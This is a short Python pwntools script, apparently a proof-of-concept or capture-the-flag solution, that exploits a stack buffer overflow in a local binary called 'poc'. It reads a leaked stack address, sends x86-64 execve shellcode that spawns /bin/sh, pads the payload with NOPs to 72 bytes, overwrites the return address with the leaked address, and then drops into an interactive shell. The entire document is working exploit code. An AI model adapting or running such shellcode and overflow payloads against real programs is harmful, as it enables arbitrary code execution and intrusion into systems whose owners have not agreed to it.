from pwn import *

p = process('./poc')
p.recvuntil(': ')
buf = p.recvuntil('\n')
buf = int(buf, 16)

exploit = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
exploit += "\x90"*(72 - len(exploit))
exploit += p64(buf)

p.send(exploit)
p.interactive()
